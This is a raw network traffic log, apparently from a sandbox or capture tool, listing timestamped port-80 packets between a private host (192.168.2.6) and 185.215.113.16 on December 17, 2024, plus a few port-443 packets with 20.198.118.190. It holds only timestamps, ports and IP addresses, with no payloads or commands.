Dec 17, 2024 10:08:53.207756042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.207792044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.207803965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.207925081 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.207967997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.208563089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.208626986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.208659887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.208672047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.208719969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.209182978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.209357023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.209367990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.209378958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.209413052 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.209439993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.209484100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219736099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219757080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219767094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219791889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.219825983 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.219887972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219898939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219909906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.219954967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.220021963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220035076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220045090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220056057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220067978 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.220093966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.220218897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220231056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220242023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.220282078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.220282078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.263175011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263195992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263216019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263238907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263250113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263278008 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.263326883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.263355017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263391018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.263860941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263873100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263883114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.263911963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.264002085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.264038086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.264828920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.264933109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.264945030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.264982939 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.265161037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.265212059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.265762091 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.265783072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.265793085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.265844107 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.265851021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.265925884 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.266417027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.266432047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.266448975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.266477108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.336669922 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:53.336754084 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:53.339349985 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:53.339373112 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:53.339634895 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:53.341442108 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:53.341672897 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:53.341690063 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:53.341866016 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:53.346213102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346230030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346244097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346292019 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.346334934 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.346412897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346549034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346586943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346626997 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.346757889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.346807957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.347142935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347153902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347193003 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.347299099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347322941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347335100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347362041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.347495079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.347543955 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.348093033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348135948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348146915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348186016 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.348258972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348295927 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.348901987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348913908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348927021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.348956108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.349332094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.349401951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.349724054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.349744081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.349756002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.349792957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.349920034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.349972010 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.350523949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.350536108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.350548029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.350574970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.387326002 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:53.393089056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393148899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393161058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393158913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.393203020 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.393353939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393523932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393534899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393580914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393583059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.393594027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.393636942 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.393913031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.394252062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.394380093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.394500017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.394510984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.394521952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.394562006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.394589901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.395165920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395251036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395262003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395286083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.395354033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395394087 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.395956039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395967007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.395978928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.396009922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.396092892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.396176100 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.396612883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.396624088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.396636009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.396701097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.397167921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.397217989 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.397375107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.397386074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.397397041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.397420883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.397548914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398176908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.398247004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398258924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398269892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398307085 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.398381948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398466110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.398987055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.398998976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399010897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399048090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.399197102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399234056 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.399780035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399792910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399805069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.399885893 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.399887085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.400372028 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.400587082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.400625944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.400636911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.400682926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.401465893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.401477098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.401489019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.401499987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.401523113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.401545048 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.402060986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.402137041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.402173042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.402215004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.402225971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.402257919 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.402602911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.402642012 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.403019905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403032064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403043985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403086901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.403120995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403326035 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.403810024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403822899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403834105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403863907 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.403901100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.403996944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.454963923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.454983950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.454996109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455051899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455070019 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.455116034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.455195904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455260038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455271959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455307961 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.455743074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455754995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455766916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.455811024 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.455832005 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.455892086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.456557989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.456576109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.456588984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.456629992 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.456648111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.456675053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.457248926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.457304001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.457312107 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.457318068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.457377911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.457693100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.458339930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.458384037 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.458478928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538130999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538146973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538166046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538177013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538187027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538199902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.538197041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.538254976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.539031029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539043903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539082050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.539208889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539220095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539232016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539254904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.539283991 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.539633036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539643049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539696932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.539745092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539757013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.539794922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.540421963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.540461063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.540472031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.540512085 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.541208029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.541219950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.541237116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.541246891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.541275978 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.541296959 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.542062044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542073011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542109966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.542123079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542135000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542166948 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.542785883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542798042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.542841911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.543123007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.543170929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.585314989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585330963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585341930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585405111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.585606098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585618019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585648060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.585666895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585679054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.585709095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.586251020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.586262941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.586297035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.586308002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.586321115 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.586338043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.586533070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.586574078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.587142944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587155104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587184906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587197065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587217093 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.587248087 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.587901115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587912083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587923050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.587955952 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.588612080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.588624001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.588670015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.588674068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.588681936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.588707924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.589051962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.589173079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.589447975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.589458942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.589468956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.589509964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.590190887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.590311050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.590321064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.590332985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.590342999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.590349913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.590373993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.591136932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.591149092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.591160059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.591197014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.591942072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.591954947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.591965914 CET	80	49774	185.215.113.16	192.168.2.6
